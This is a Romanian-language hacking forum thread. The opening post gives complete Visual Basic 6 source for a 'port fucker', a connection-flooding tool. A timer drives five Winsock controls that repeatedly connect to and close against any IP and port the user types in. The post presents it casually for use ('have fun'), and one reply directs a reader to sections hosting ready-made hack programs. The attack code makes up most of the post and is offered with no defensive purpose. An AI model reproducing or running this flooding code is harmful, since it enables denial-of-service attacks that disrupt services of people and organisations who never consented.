Jump to content
s3rpico

[VB6] Port Fucker Example

Recommended Posts

Pentru a creea un mic sau mare port fucker in Visual Basic 6 Vom Avea nevoie de :

- 2 Textboxuri (ip.text si port.text)

- 2 Butoane (cmdStart si cmdStop)

- Control Microsoft Winsock Control 6.0 (mswinsck.ocx Project -> Components)

- 5 (Sau mai multe Winsockuri pe Forma)

- 1 Timer pus pe intervalul 1 (Numele lui sa fie action) si care sa fie disabled

In Urmatorul Exemplu vom folosi numai 5 Winsockuri (sock1 , sock2 , sock3 , sock4 , sock5)

Codul butonului De Start :


action.enabled = true

Codul Butonului de Stop :


action.enabled = false

Codul Timerului Action :


For i = 0 to 150 'Reconnecteaza de 150 de ori Winsockuriile
'Sock 1
sock1.close
sock1.RemoteHost = ip.text
sock1.RemotePort = port.text
sock1.Connect
sock1.close

'Sock 2
sock2.close
sock2.RemoteHost = ip.text
sock2.RemotePort = port.text
sock2.Connect
sock2.close

'Sock 3
sock3.close
sock3.RemoteHost = ip.text
sock3.RemotePort = port.text
sock3.Connect
sock3.close

'Sock 4
sock4.close
sock4.RemoteHost = ip.text
sock4.RemotePort = port.text
sock4.Connect
sock4.close

'Sock 5
sock5.close
sock5.RemoteHost = ip.text
sock5.RemotePort = port.text
sock5.Connect
sock5.close
next i

Thats all, m8s ..... have fun !

Link to comment
Share on other sites

Crimen01 esti la sectiunea programare, aici e programare, adik diferite coduri sursa pentru anumite programe ..tutoriale si tot ce tine de programare, nu neaparat si programe gata compilate... alea le gasesti de cele mai multe ori la "Programe Hack" sau "stuff tools".. bafta!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...